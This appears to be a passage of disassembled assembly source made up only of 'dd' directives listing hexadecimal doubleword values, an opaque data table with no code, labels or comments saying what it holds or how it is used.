dd 1E9F1706h, 0EA99EB18h, 51D3ABFBh, 772346CEh, 0E8A3F026h
dd 0E788BED4h, 0C5F3AEEAh, 171EECBEh, 16AD94C8h, 1DBC6865h
dd 4EC407C5h, 0C7B9E1A3h, 874850E0h, 1FFEEAA1h, 599D1E4Ah
dd 0BFB1A30Dh, 0D3DE86C0h, 4276274Ch, 0C9AA70EEh, 7F7ECCF4h
dd 0DA900F0Bh, 6FE715E0h, 0E546D26Eh, 0CF7C147Ch, 43826505h
dd 2F148043h, 61E55203h, 149A0DC5h, 58E1AC3Bh, 0AE5AE970h
dd 3BF4250h, 50534529h, 94D40C64h, 9532430Eh, 8D8859F9h
dd 0F12E7C26h, 0D2BC8289h, 8F9331DCh, 7847A02Eh, 119B18A1h
dd 49D6F8D4h, 8535AB6Eh, 0B07903C5h, 758BD0D2h, 693E1487h
dd 4E707E61h, 5E1F303Ch, 1460923h, 7D888B48h, 97C3815Dh
dd 0CA0F1B5Bh, 6A84ECD4h, 0C7AEBCCh, 83EACBEEh, 0FAAB2988h
dd 395E8B74h, 0D0BCB85Fh, 327BB6CBh, 633D90A7h, 9A11EB09h
dd 762F20B6h, 0E1275371h, 0E14430FCh, 8542551Eh, 0E52FCFFAh
dd 1BEA830Dh, 0E101CE4Fh, 0C0051362h, 97F3A8E3h, 6B0837F0h
dd 4CFAE830h, 1D87E5Ah, 0E27CC0DCh, 9CCA441Dh, 43EF3141h
dd 887566Ch, 527D600Eh, 1B121E2Dh, 654ACB05h, 0D6447939h
dd 0F08EF71Fh, 4A87E87h, 0F130DD4Eh, 0C292FE78h, 831F128Fh
dd 0AD41BD97h, 9C63D15Fh, 0C831AFA6h, 0EB472414h, 0A7FE0AFCh
dd 80E58CECh, 0CB4AD9B8h, 0E5F6DF70h, 52C43E88h, 5794B20h
dd 47ABCBD6h, 348D2129h
dd 104B31F8h, 3313775h, 519D1F6Ah, 7D98C608h, 0CE23CAA8h
dd 0A6A36133h, 0C849485Dh, 680EBD5Eh, 0CF992EDCh, 207E8C2Ch
dd 41480E0Dh, 216FB59Dh, 0D651CDDEh, 0B7703646h, 3B830F6Ch
dd 6B3F2C0Fh, 0DFF664Dh, 0E6DD1BC3h, 65EAC5C1h, 35D59A36h
dd 6F1B3C10h, 620FF02h, 8AA5FD9Ah, 82596345h, 7F910B89h
dd 82D1EE72h, 3C8A189h, 0BF215092h, 0B81F7386h, 0B00BFE1Bh
dd 0B772FCB9h, 2687CE05h, 46735ABAh, 0A8EC514h, 4269DE68h
dd 515E4516h, 0D0569EDDh, 0E5E946DAh, 0A29ADA2Dh, 2A0D20D0h
dd 0E509DA81h, 0B0F0D335h, 114435D7h, 1E8F4E40h, 0B0069A78h
dd 526D926Ah, 0D6F158BCh, 0D086DB06h, 658E56B4h, 7580E6B9h
dd 437B8E60h, 0ACB6B210h, 41988B03h, 84D12C70h, 2F5CC01Dh
dd 90012E06h, 0A6A931EBh, 0A80A072Bh, 40B81A51h, 624C8B9Dh
dd 15EBA682h, 1BEF053Bh, 4163B39Dh, 0E0BDC2CDh, 0BEDFF04Bh
dd 0F03B57D1h, 0AEE70420h, 0BF4AF62Bh, 39D636A2h, 0ADFF531Bh
dd 0A28EFD7Ah, 0CA546881h, 4190F76Fh, 0DC256C8Ch, 48442C7Ch
dd 0BFFCAF1Bh, 0D8C0E849h, 60B1B40Ah, 188C14ECh, 4F712845h
dd 16AA91FBh, 0DDDCE5FDh, 0B23B9D7Ah, 69BAB767h, 38A1F8DEh
dd 404ED9E8h, 0A4FE13Bh, 6C0F28B2h, 16939EC1h, 0A6D45CDFh
dd 84BF7C1Dh, 0AA04D1C5h, 4854FE3Ah, 4EB06DD2h, 0EEEBA18Bh
dd 0D102928Bh, 396B3346h, 0C32B40Bh, 9A52C6CEh, 0EC1CEB1Bh
dd 0C5105E2h, 852D9C4Eh, 19CC8A68h, 90E893D0h, 64827A8h
dd 0B6A77C6Dh, 0AFF26BDAh, 0F482C949h, 9D5AA865h, 80A147DBh
dd 2ADD7BA6h, 0AF68150Dh, 4AB261A1h, 0B4149A5Dh, 90F61590h
dd 0C536BE4Fh, 0CC53FB3Bh, 16626EC2h, 18F0D560h, 956269E3h
dd 0A4A6C9BEh, 67205BA6h, 0F3968672h, 692C52E7h, 0B91B9CDEh
dd 2DCE3557h, 0F6AD15E2h, 482AB38Bh, 2F2CFE02h, 2F41B56Ah
dd 24984573h, 64F7209Fh, 1F8F81A4h, 79AA6Dh, 0FE536B7Ch
dd 0B345A7Dh, 0CA51E715h, 20B9A15Dh, 6BE36E79h, 8A4B6075h
dd 0F3B6BF0h, 39598A52h, 98006761h, 27E9CAB9h, 315B1773h
dd 0B11DD9EBh, 0C26C3C08h, 704D06DFh, 0C55D11CDh, 537C4D99h
dd 4E78CD4Ah, 0E41664A2h, 9D0165F6h, 5BD192DDh, 0B18D9C4Bh
dd 0C7BCC671h, 49B02C14h, 8632BE12h, 0BAAFB842h, 5B98D62Fh
dd 0D5F6E354h, 8E700113h, 0C06D097Ch, 363D3786h, 3584E16Eh
dd 44EEF9AEh, 0B0A5910Ch, 0FA1CFD13h, 0BA8F288Dh, 0D7D65FF2h
dd 20CCC44Ah, 5DC32CA6h, 0FF3FB327h, 79BD789Dh, 3F97FAE2h
dd 12615FDh, 5AD67127h, 0FCBAA104h, 34D6C2A2h, 0BCA6B5DEh
dd 0A2E7E091h, 76008FEAh, 757FF51Eh, 0E977D30Bh, 9E4CC98Fh
dd 0E6858FF6h, 6CAFF6Fh, 9492C541h, 8841162Ch, 0EDFF034Dh
dd 0F9C11E7Ah, 1086E0A5h, 39DCA9EDh, 26161866h, 5D3102C8h
dd 2E143BC7h, 54FB1BE7h, 7F480BE0h, 75D41DB1h, 22C697B4h
dd 855CFD33h, 381F381Fh, 96E1610Fh, 0AC7AEEB3h, 3EF9A248h
dd 56E90C1Dh, 5859D8Fh, 81BEDAD6h, 39D0AC51h, 0E5324F98h
dd 2C206F9h, 271D8D2h, 629DECD4h, 576CD180h, 0F7B68249h
dd 68A0E176h, 11EBA2FDh, 692A197Ah, 61013427h, 61E13DFFh
dd 0F9E4750Fh, 0D2F5857Eh, 7BC9E87Ch, 4952C01Fh, 0B0B1AD60h
dd 5A54BF35h, 0A30ABC5Ah, 20CFFBB1h, 0F6805E5Ch, 428D26C1h
dd 91C1EAF4h, 68633B7h, 7EB13D4Ch, 0C246FCEDh, 0F89A40AEh
dd 0BAC25A80h, 2744F1D7h, 54478403h, 3026AEBh, 87C5536Eh
dd 0E59E7022h, 2DEAECD4h, 6CA03BABh, 496D9EBFh, 57CCB605h
dd 14EE936Fh, 8144AFECh, 0F9B1AB58h, 0C19C9AD6h, 0CB11B565h
dd 7E010856h, 0FCBBD59Ah, 5A1E07EBh, 0ED485195h, 0EF96C3B6h
dd 45331FEAh, 164AD73Dh, 4AE32644h, 4ADE5BCDh, 552ED3EBh
dd 4FE2095Bh, 846B2D00h, 802BB01Ch, 7F74FFA0h, 0F29A051Eh
dd 0BA242385h, 0C090E885h, 5885D3D1h, 63CEF9DAh, 0D30EF5DEh
dd 724B1E52h, 6C7304A4h, 9157D238h, 0C20BBEB3h, 0C9DBE47Fh
dd 3A842F2Ah, 0D5854398h, 0ECBABCE8h, 0A47C1D14h, 3FCAE4F8h
dd 0BF3A376Dh, 0ADF6D849h, 6350221Bh, 0B1025D4Ah, 8E7ABC84h
dd 83ADF5DFh, 2C84706Dh, 5C2D5342h, 2657608h, 0D700490Eh
dd 0DAEE2017h, 3D0CBD38h, 0DD39870h, 2326ADBh, 1708C780h
dd 6CCBF493h, 99A422E1h, 5362B9F7h, 0EF83E598h, 0F6732BE8h
dd 0E2E5279Dh, 0DA180663h, 6FD552DEh, 0C98DE61h, 0ED35E709h
dd 844E953Bh, 49D0EE56h, 6D84630Ah, 0A93167CBh, 0D677A6EAh
dd 0A626016Eh, 8F27011Dh, 0D4B58671h, 6BFA344Fh, 5587597Ch
dd 91B7FCBFh, 0E1299A6Eh, 3BF26A7Ah, 0E4A63A9Bh, 1271B528h
dd 0F64A3C6h, 0E9C82B4Ah, 2CC9F706h, 4EC61D3h, 26558B44h
dd 5F77D5A3h, 7C0C418Dh, 3ECA9C0Ch, 0DEA301E4h, 16316445h
dd 7C0A9D33h, 6D53AE3Bh, 887CBAC3h, 58A0BB1Dh, 70396581h
dd 552C71AAh, 37EE3BA5h, 3AE1A818h, 0B0640D38h, 1F394F9h
dd 2C00BF0Ch, 5430AE14h, 2C92CB6h, 2E8DCC4Eh, 24EB85ADh
dd 3DB0C03Ch, 945AFFF1h, 0FFF94C18h, 0C9A0771Eh, 8D782FA4h
dd 0C3AA613Fh, 9507CB49h, 82145EBFh, 692CF5FAh, 148D6FAFh
dd 93B7EA7Bh, 46FD3029h, 3F67BF65h, 0F7C8A14Fh, 83078851h
dd 6BF34111h, 486CABDDh, 82BD2A96h, 0B58287BFh, 28D17811h
dd 39D3F5B8h, 1396DA98h, 8B6E2010h, 0FBC942E4h, 9CF9AF59h
dd 0CCF28D82h, 8E472023h, 0F45E07DFh, 5636DBDBh, 1729CD9Fh
dd 221D5A4Ch, 0A115AE2Eh, 0E73D142Bh, 0FF8DA2DBh, 8B3B3866h
dd 6D745B5Ah, 98C6F3D1h, 96AE94A7h, 4155A644h, 4B66CB97h
dd 24AE3ABDh, 2FC5B321h, 2E8E0D0Ch, 0DD88DFA4h, 225E468Dh
dd 0D89B1A09h, 0A6A7A200h, 0CA42686Ch, 389879E6h, 67A4686Ch
dd 9E1A8711h, 13336329h, 9FA71B9Fh, 948B1A79h, 0F13BA859h
dd 0BB3D545Ah, 79746A11h, 8984B5A4h, 0FAD688ABh, 58ECC504h
dd 566F04A2h, 5C383538h, 0C825D19Ch, 0E01F8CE3h, 3B165172h
dd 0BAFECCB4h, 7FBE5CA3h, 8DB2B060h, 3888F9DAh, 425514ABh
dd 0CAABA259h, 0A895D966h, 723E689Ah, 0ECA357E4h, 0B3EC8FD8h
dd 0A75FEF16h, 0F7AE7AA4h, 0B662087Dh, 0E460C2B1h, 0DAFAD3B9h
dd 8ED44E8Ah, 9A5BC2E5h, 88D0052Dh, 12C847B9h, 242B9921h
dd 91B8A1C8h, 0B3C86E25h, 69C9A82Dh, 0B62ACAC6h, 8BDE32C1h
dd 9741B3Ch, 2707BFB7h, 0DDFB36ADh, 4357084Fh, 31CD5A11h
dd 0FCCC2FDFh, 391BB3Bh, 9A81C424h, 6C899BB4h, 1A696648h
dd 0C5E5E5B7h, 0CCC57174h, 1E178A3Bh, 0DEBD8084h, 1BB0B297h
dd 5761FF6Ch, 2DE58122h, 66B29CB4h, 0DA72F039h, 2B638E70h
dd 0B5A431B7h, 0A1F0A64h, 0D98A3064h, 257FBE05h, 0DFF9CABDh
dd 0D87C6F3Eh, 0D2B5C8A9h, 98F346FAh, 6BE610h, 38185F39h
dd 8FF41D9Ah, 7754DF0Dh, 6DC2F9A4h, 4CAACDD4h, 38015245h
dd 0C212999Bh, 0BAEEC1C4h, 10337F3Ch, 8AD1BAE5h, 14FB40A2h
dd 0AA391A4Ch, 298A345Dh, 5731B921h, 1765CC9Fh, 807DE0D2h
dd 4B9F4D3Dh, 135E27E4h, 2616696h, 59591D3Ch, 0E1B66612h
dd 0C3F17319h, 1774CBE2h, 9D805A77h, 7BEE4793h, 0BE2B130Ch
dd 85273A1Dh, 0D8ABCB4Ah, 0F9FBB22Ah, 5FA2D021h, 0B5889758h
dd 54F39334h, 0B7B3122Ch, 6D4E9FA5h, 2C3FCD17h, 0A4C6979Ch
dd 0A2A2DD15h, 8C639120h, 3892C64Eh, 983745C5h, 4C6F0009h
dd 0A3D7CD55h, 0EC93AD6h, 0F85E7723h, 95BBCB5h, 88B0AF3h
dd 0E68BA6EEh, 0FBAF53AFh
dd 2E8A550Dh, 0F853B7C2h, 2D391501h, 0C1E5E82Dh, 45A7539Dh
dd 42BC1F1Ch, 646A57BCh, 987BECE5h, 77FBC903h, 7C395DF6h
dd 269B1FD4h, 0A161A898h, 4F5C1B6h, 19494338h, 2ED6B5CAh
dd 638D2EC0h, 4EE2CDBCh, 71B311F2h, 0F07F714Fh, 6C1D8EEAh
dd 0F4390696h, 33EB1173h, 0B5161A8Fh, 1043D621h, 0E658CDBFh
dd 0EF58DA16h, 558FA5Bh, 0C3ED234Eh, 228F6117h, 0E7EDA659h
dd 94F8C995h, 7FC660C6h, 7F1A5F5Dh, 62884D74h, 0F6660002h
dd 54FCF423h, 0D73FACE2h, 636EE1F8h, 0D5F5087Ah, 0F7DF61F0h
dd 0E8EF2E28h, 709CE662h, 58C87AE4h, 0ACE5C27h, 96F653A2h
dd 0FD08B9B1h, 9A39A169h, 0B134AE12h, 43D4E225h, 0F2232BFFh
dd 0D9E7CDB1h, 3A6822CEh, 0E50075A0h, 0E33BAFEBh, 44415224h
dd 0BE9CAF84h, 0C7251C67h, 8311C445h, 8F1FA9EDh, 0A757379Dh
dd 0F131A899h, 241FAED4h, 4FE9C01h, 601EBD5Ah, 1AA8810Eh
dd 0C9FCCB24h, 0E577BDA4h, 0FF5DA5D6h, 87F78DE3h, 95C8EED4h
dd 7B8A65CCh, 0BBB3022h, 0A95E9A73h, 63E6B96Dh, 0A28764E3h
dd 91111F39h, 2802B7C4h, 4B3DC3C5h, 89263325h, 547DAC7Dh
dd 2C8A656Ch, 702740DDh, 88F8949Eh, 15E4C659h, 60242EA5h
dd 0E81458D1h, 86BA36ADh, 23AD6DEBh, 0E6C792EDh, 0C2A0358Fh
dd 0F2CFF355h, 70B4C4AAh, 93B240C7h, 263D343Bh, 10C77E7Bh
dd 0DBB9398Ch, 0C105ACB4h, 882CED7Fh, 7DEA347h, 0CEB70AE3h
dd 2A2FC464h, 6D6A0CCFh, 0D133F65Dh, 0FDAAF054h, 0A93E4832h
dd 0D701C771h, 68F048A8h, 0B7BBC17h, 0C417B1FAh, 4A4430AFh
dd 0A11599E0h, 0F72F22F8h, 3AF4BD1Bh, 0DE3A16E3h, 0C0485D39h
dd 7CE335D2h, 48DB7767h, 0B24E9EF3h, 2BA6F027h, 1D1787A9h
dd 4158F8C4h, 0C4F8FE2Ch, 0E5B4D076h, 5DDE4BAAh, 885BC979h
dd 9F900816h, 0B8B7941h, 0EF53E5B2h, 0A849684Fh, 0F4121D57h
dd 791DE8D0h, 0BB85D3A0h, 9763145h, 8CE16D1Dh, 732BD520h
dd 72BADF61h, 1ABEC98Fh, 31C08DD1h, 92FF79C3h, 63A5EB86h
dd 0D8B3555Ch, 9088CD37h, 52784A9h, 761CD59Bh, 355D98B3h
dd 7C11D9CEh, 0B66C388Bh, 86BF229Ch, 0D71CBF9Eh, 0BAFC3C4Eh
dd 0F4EC8698h, 0CF7B4B14h, 0CF1E0003h, 0E333148Ch, 0ABE7D5FFh
dd 240C9D01h, 71698526h, 377C17AAh, 0C78C9E65h, 88C7C19Eh
dd 352D27ABh, 9E60F652h, 0F3B86748h, 5A79B90Eh, 4C05C57Ah
dd 0BBF1C0E0h, 0B25CE048h, 0CA76622Fh, 3DC7680Bh, 471A55ACh
dd 820F4D21h, 0DACBC665h, 0FFD952E6h, 0E8434B46h, 400E876Ch
dd 9AAFD13h, 14AE08D5h, 0BF9B4B79h, 554E7DC6h, 852EC4A8h
dd 731F8C63h, 73FD958Dh, 263A5418h, 5255506Eh, 219B29ACh
dd 89B33B8Dh, 0D780E19Ch, 0DE36928Ch, 0F06CFE0Ch, 66426BBFh
dd 32062264h, 8E8F18D6h, 83418B8Fh, 20F2716Fh, 0FE1AB887h
dd 45D55936h, 7578F26Eh, 9519ED5Fh, 0F3F75B60h, 91CDD25Dh
dd 0A1EDBA61h, 1C2A0C52h, 0F4DA460h, 0CE2AA8D4h, 9A9DC4A4h
dd 2DA3CC62h, 0B6413A8Eh, 48293116h, 888B85F4h, 0E3AF17B5h
dd 2F0AE2EEh, 0B3223CCDh, 34ABF14h, 4B54D45Ah, 1FC90845h
dd 0B16BC25h, 27A10C83h, 0A1C4166h, 6CC894C0h, 0B7521D42h
dd 2F5E88F1h, 0D3FBABB4h, 0C6FDEC17h, 435D106Ch, 3502C1DBh
dd 2B2BC2C9h, 0CD2C50A9h, 0CF9ABDA9h, 3360BA32h, 0AEE070EBh
dd 0CBFDFE56h, 0E1BA2379h, 0CCFD103h, 4570E3EDh, 0CAE839C1h
dd 35E6FFD3h, 0EEF69371h, 24D1CDCDh, 19CEBEF7h, 0F0DBF211h
dd 0B13ED5E6h, 0A46408F5h, 9DEBFC5Fh, 0DC125CBCh, 329DC522h
dd 10D8649Eh, 52519273h, 0B1FB0638h, 0DD3CB579h, 0E603FD95h
dd 9CFF11CCh, 0B81EC398h, 5B6EEB1Eh, 0ACCDDD56h, 0AEF5EB1h
dd 9F334C53h, 5BF1DE56h, 64C77731h, 0C606A64Ah, 91C5811Ah
dd 4DFE49A2h, 420D7BBh, 4AE9EB87h, 2C72C15Bh, 83614789h
dd 95ACDDD6h, 0B5C4861Ah, 2B444B74h, 157567BAh, 30C175C1h
dd 10F1E984h, 353CEEF1h, 0F0C10532h, 2DF629F4h, 6C7B5B99h
dd 37EEA265h, 0BF50C879h, 5AA3748Eh, 0EC5DBF77h, 667BF1BFh
dd 0EF667259h, 516D2091h, 0F635BF04h, 63603D84h, 5F3B8329h
dd 95B2F3E4h, 152D35D2h, 0E8BF3DE9h, 3E70211Dh, 73CF729Fh
dd 0C1321CA4h, 0A3298D0Eh, 6443F4CDh, 3880AE0Ch, 12F145h
dd 6ACF1468h, 3A68335Bh, 0C99F5115h, 9F2A9E65h, 4184A1D7h
dd 0BE7654AEh, 6B297CF0h, 0E2B6840Bh, 6D7A4BE0h, 0E69FA34h
dd 5EA1446Ah, 57967558h, 0BDADD89Ah, 0EF42E7Eh, 56F90BEBh
dd 444DB639h, 4C397B85h, 0A761C48Dh, 0B8E631D9h, 3693CE0Dh
dd 0C44E1101h, 6C4E112h, 0D34CC322h, 0A2CF59D2h, 0F9B6603Ah
dd 40A75473h, 0D02DC51Eh, 0A46B1B70h, 3A8205BDh, 0F838D07h
dd 3103E007h, 0EF66BDEh, 5190D374h, 2B86B68Ch, 86604A8Eh
dd 87506E9Fh, 0A6ED1090h, 523B75D1h, 7C1DDF1h, 0F894AE02h
dd 2877A9A6h, 0FCDB7495h, 70E38336h, 0DFB2C840h, 320828F6h
dd 5091BE99h, 8C1B2A31h, 4CA250A8h, 322C1339h, 0E34F8196h
dd 55DCE34Dh, 0A6F2A384h, 348BBD9Eh, 154716DFh, 153390A3h
dd 0B1DA4D98h, 0DAC60560h, 37D6AA3Ch, 8986A852h, 0A7564AE5h
dd 0E9788867h, 0D55ED624h, 0B9DD5654h, 0A2F3F5F4h, 0CF70F73Bh
dd 0CFE1E86Dh, 0DC50B484h, 6FD6559Ch, 97598AFAh, 0CE32B9A1h
dd 9AB5123Fh, 2B0656BCh, 4326165Ah, 4BE808D5h, 200B5CAEh
dd 3CCD68CFh, 0C53B03F1h, 17961F94h, 795042DBh, 0BA9FC020h
dd 0E5BF010Ch, 0D21AD2D7h, 3B3A4C7Ah, 5C5D3ADBh, 0D244ADBFh
dd 636546Bh, 0BD71B8A2h, 0C9CF6EB8h, 1802D7E0h, 15EBC6EDh
dd 136C2E09h, 0ED93FA86h, 0BEB3A043h, 0DAC98DADh, 0BBD9ED36h
dd 99CAF505h, 7E1DF0h, 9EC578C8h, 7E2EA7F5h, 0ED1AFDE8h
dd 71391F56h, 0F851879Ch, 0D6EF71FAh, 2F424F14h, 0F1AFC033h
dd 3CA3FE63h, 0E4B5318Ch, 9AF491CCh, 0AD9EC08Eh, 9AAAD4CEh
dd 0FA6E4C25h, 20713D65h, 24522B37h, 1F9E4946h, 4AC536E2h
dd 0B61AEBA2h, 5545411Fh, 312B56D3h, 7CB7382Ch, 2213CB1Bh
dd 0A88886E0h, 0A1F8277Eh, 0A69206Fh, 0C5FAA7C6h, 6F1953C3h
dd 0FCFDD668h, 41AB18DCh, 0EA7ED93Eh, 0A3A0D1F5h, 96A087C8h
dd 69AC0045h, 4EDD841Fh, 707C3133h, 0D7F2FC40h, 0BB733F4Ch
dd 0C487EE00h, 87CDF078h, 0F2E9BECAh, 13174FD5h, 8420D2DBh
dd 932690A1h, 0FD053E1Ch, 34083239h, 0C01F01A8h, 0F518E6CBh
dd 0A7FC553Fh, 0E2608306h, 375ABD87h, 3AE0CADCh, 0FD987966h
dd 0C637FD36h, 90C480B6h, 2B01EC88h, 0C3B8710Ch, 46E64CF5h
dd 1D85C0CEh, 0DB6E2D29h, 0B6404E90h, 0DEF04310h, 9468C78h
dd 0D230DB2Dh, 3F90BA55h, 0CBE8CB8h, 322B4C87h, 0B2705852h
dd 0C9ABA92Ah, 7486BABEh, 68315062h, 0DBD14A75h, 0AB63F8E9h
dd 6CFEA442h, 0F3177E1Dh, 5D79459Fh, 2F31CF48h, 0D6FC7E3Fh
dd 997F84A8h, 5A769249h, 66E7268Dh, 5854A215h, 168C4224h
dd 0E380B26Bh, 0FDE90F81h, 18DAEE67h, 41FD9C24h, 0E8DE2787h
dd 0D7715FFh, 5297BD4Fh, 0BF0854E5h, 8EF9FC1Fh, 78E213ABh
dd 0CC07389Bh, 1E914D47h, 1B2EF1B5h, 0A31342CCh, 0F584C572h
dd 0E1453C9h, 0A5B24DF7h, 0F27CA8F3h, 819E50BAh, 8959A920h
dd 72F60F0Dh, 0C12BBE3Fh, 8FB230E4h, 1EBD957h, 0DDC4A4F3h
dd 79FACED4h, 3ECA8058h, 1FCB661h, 0A51A9C6Eh, 580A1BB7h
dd 938D6A51h, 0FBAC7291h, 76399F8Eh, 5DD9DD15h, 0DCF1F75Ch
dd 84ED54CEh, 6E20B39Ch
dd 0ED75D3E6h, 4FA58DD7h, 69A016D0h, 0C91B6A11h, 0C2D727A8h
dd 44ABCA54h, 854BA548h, 1AA02F63h, 65463B0Eh, 0B6149F38h
dd 0AAB70094h, 0BCEA604Bh, 7EBD1194h, 1580B09Bh, 47BD2C04h
dd 0E6842046h, 0CB422CDDh, 624B8E7Ah, 26DF7860h, 8DBE23E5h
dd 6C6CF619h, 8F51AB2Ah, 3CCED52h, 94A41315h, 5CCF563Ah
dd 27106E1Bh, 3FCB3350h, 0F93FC59Bh, 0CBD2E1ADh, 8E2BBEFCh
dd 0B14C1BF3h, 7A0F76EFh, 0C2CE10Ah, 5EF542D3h, 0EAF86D72h
dd 46A825E1h, 7C781CBEh, 7238963Ch, 0BEA7B3B8h, 2B7C5F13h
dd 688DE785h, 62ACD6A2h, 56740043h, 0B47E6EE5h, 79809975h
dd 77065C9Ah, 0EF1DAECCh, 17467771h, 0B317C90Eh, 97482572h
dd 0E1C9E714h, 0ABD90A44h, 3E5A5F67h, 2698E0C7h, 0F078F631h
dd 161932E2h, 0DB40AB95h, 0AA33828Dh, 82225B2Ah, 93E48250h
dd 48B487C4h, 0D8155EF7h, 0F7AC89A1h, 49AE3286h, 96B4C33h
dd 0FC287884h, 0FBD66A4Dh, 2A49B9E9h, 0E65E6C6Fh, 0E835C4D5h
dd 0AA5BD4BDh, 346722E1h, 92BFB208h, 58CDA053h, 5487672Ah
dd 14FF198Ch, 2348E25Dh, 236C1D61h, 0B7135A93h, 0A3A45D88h
dd 95D64958h, 0D85A7ADEh, 0FE863231h, 16A63DEh, 0B675F2C6h
dd 6CF2526h, 0A22A50FEh, 36C1438Eh, 988A32C6h, 1B3675AEh
dd 0D8C5D115h, 0B4F4288Fh, 6F256123h, 5EC8ED55h, 6E527787h
dd 0DB91EDA7h, 0C9BCEA8Bh, 17CC57D8h, 26C60C3Bh, 0F718DC76h
dd 5DDBEA2Bh, 0FD6A48A9h, 84F3AF76h, 0F39E8A3Eh, 7CDF71C4h
dd 10819A61h, 3BC9C4A6h, 857584E7h, 4C0A4221h, 1B986D06h
dd 0E10F4E8Ch, 0B0747C25h, 91555291h, 3CB85445h, 0C266CF92h
dd 55780FD4h, 60EB91CDh, 0C5557C61h, 34A0FCECh, 4370E627h
dd 3B0E2B26h, 643625Ch, 0CBB15655h, 77EFA634h, 6DEA0CDh
dd 23856E37h, 97DEE8Ch, 0C4BFF6DFh, 95392952h, 0AFCC79B4h
dd 0D65A6675h, 0F4CD43A4h, 26209CFDh, 0FDE5B223h, 50E2D130h
dd 0C6C7C229h, 0C37F0413h, 0B888F056h, 0AD9DAB17h, 0DA9CBD9Eh
dd 0D1241A69h, 83352A8Eh, 3696905Eh, 931BFD77h, 89609E62h
dd 2CCABEC2h, 5F35FBE7h, 913FBCC8h, 67B3CCC6h, 105AB0AAh
dd 3225F5D6h, 4E98DC84h, 613C73C7h, 70E9C9F3h, 7C861146h
dd 54DF1686h, 0EE34FA19h, 5B04ED51h, 8FED669Bh, 29B414E1h
dd 3611D464h, 9A2F620Eh, 0AC54E606h, 0D638AAF8h, 0C73F0EFCh
dd 218E7BFDh, 433616Fh, 0A219F5F2h, 6DD55E75h, 1EF280ADh
dd 0B56F8BDEh, 93F23404h, 0F9322C9Ah, 0AFF93DB7h, 9366E52Dh
dd 9754A8A9h, 4816D727h, 0EAE8BC80h, 0D64B82FAh, 972FF33Ch
dd 34AF9F8Ch, 99749E81h, 0D3611878h, 0B8234DD8h, 937AEDD9h
dd 0CA6507CDh, 0ED637637h, 0F542C124h, 0FF02993Bh, 0E3B57F3Dh
dd 0E474403Bh, 3A8FA923h, 0FD82D4A8h, 0EBBFF2Eh, 0C4B3B339h
dd 7672D903h, 0CE08078h, 5A6FFB59h, 25BFEA51h, 0CD224FFEh
dd 0BD9C3247h, 0D0AB6DA6h, 3F45D793h, 0B03D591Dh, 0DE530C2Eh
dd 0DD1946CBh, 2FF8DDA4h, 0E645A8CFh, 68D17542h, 0C08522B1h
dd 4A9AF51Ah, 5695E0CFh, 59BD85C4h, 1B791F02h, 49EF3726h
dd 19FB759Ch, 4AF4A65Fh, 1A4C1624h, 74231DB0h, 79DC8E02h
dd 0B7BA5CE2h, 77AFC8B2h, 1D6FC709h, 425B7416h, 5C08E562h
dd 728053D5h, 1C423B09h, 395C353Dh, 0A5770BB6h, 36507517h
dd 42BD8B95h, 0A6CADE6Fh, 0EB1B3EE8h, 661E27D7h, 0A66FD030h
dd 0D79799E6h, 6EF552B2h, 868FABDEh, 0A452E34Fh, 0AC05CE2Ah
dd 1749642Ah, 0B2333186h, 0D2F5B924h, 0F71041E3h, 0C7ECD1F4h
dd 746037B7h, 0A2876862h, 435E13B8h, 40D5DB20h, 1E6CE021h
dd 0F4AF4D42h, 455B163Dh, 0C6E8B1D0h, 8BAF1971h, 905F43C4h
dd 0FE7C2902h, 41FE1748h, 0B97C1A0h, 0A9DEA871h, 133312E6h
dd 0AA36F1B4h, 3C76E388h, 0C8BF6A3Fh, 0E44F3A2Ch, 0B982E55Ah
dd 0C5FEF847h, 0EBAEEC36h, 0D4DB3A33h, 29D1FC18h, 0C5AE30A4h
dd 4CB902E1h, 73398ADCh, 26806DBEh, 0C2B427D4h, 0CDDD7A6Bh
dd 86E205CAh, 9D3141B4h, 0FC5F2DD9h, 6A58C16Eh, 4FD413D4h
dd 0CD219110h, 1766F78Ch, 70658632h, 5C32871Dh, 0A7760283h
dd 0DD7077Ch, 0AA5D1684h, 19C66A1Fh, 34D9AA6h, 37264607h
dd 0D1A9A4A9h, 51BEB03Ch, 7298ECE7h, 0C39C7031h, 5EA69370h
dd 0A9AA8872h, 56EFC2E6h, 0D1ED4A53h, 227919F0h, 0BA987BECh
dd 0D23DEBD3h, 0EAFA5553h, 0D7CFD8C0h, 0CFE345B5h, 4373EA35h
dd 49DDDDA8h, 69AE1904h, 91261CAFh, 0EB8403CAh, 198F4306h
dd 0C7E75750h, 9C441019h, 3CD9E4ECh, 95735F82h, 0BD752424h
dd 8DAD342Ch, 9A937BF7h, 0A12C5B0Dh, 0EB2582C7h, 0EFAFA8D5h
dd 0B59CBC09h, 0F5A21169h, 0D336C588h, 87708B6Ch, 0A1488965h
dd 4DFF901Ch, 0EA0E5630h, 0B6C56E9Ah, 664EC12Ch, 0D2B4A387h
dd 0A7D22F9h, 6A9840C2h, 2F939FC4h, 0CDA9B9ABh, 0AB704AD2h
dd 0B92809D9h, 7067D4C7h, 67CCA56h, 0BCEE7D5Fh, 0DA9A96F8h
dd 7F867F5h, 0DFECEA8Fh, 0FFE59DF2h, 16557370h, 0CB7CFCAEh
dd 0B35F6D7Ch, 0CD630AEh, 5BBC2B51h, 2DEA6652h, 97C83EE2h
dd 0BA6FD41Eh, 0B07F3E22h, 0BF8051FBh, 0EDBFEB87h, 0DB8BA78Fh
dd 7D569D68h, 0C20C5195h, 478C40F3h, 65B37A66h, 0C36A1418h
dd 0F4C59948h, 35689ACEh, 2E93D612h, 0D2F32E9Ch, 0F71D69C7h
dd 53DC45E7h, 8CC13F1h, 0C268A4Fh, 7D595A50h, 1F91ADEh
dd 6A44749Ch, 0E7FE3ADFh, 8B833791h, 2591B3B5h, 1285075Ah
dd 0B96B469Ch, 0C46DA2B2h, 98A260E4h, 0A180E4F4h, 0DE28C889h
dd 0DA3FC6ECh, 0C8B967EDh, 9522F6CFh, 0E36F9060h, 0CD9E9346h
dd 194EEE9Ch, 763C51F1h, 8ACAE4FBh, 0C88E6196h, 271BC171h
dd 5D95DEB6h, 0BFB3230Eh, 937C67F8h, 616EF125h, 5C76E74Fh
dd 36439D17h, 273C6967h, 0F0D6F620h, 7D122FFDh, 902A2F78h
dd 296EDF07h, 959BE0Ch, 0EBADDC4Ah, 61642448h, 9DF7A0E1h
dd 23774793h, 828AD8B7h, 0A1D5A4B1h, 0A6D5129Ah, 21A476FBh
dd 226CED2Ch, 7A7EE2B1h, 0E5C41F7h, 0E08C40FFh, 0FF569337h
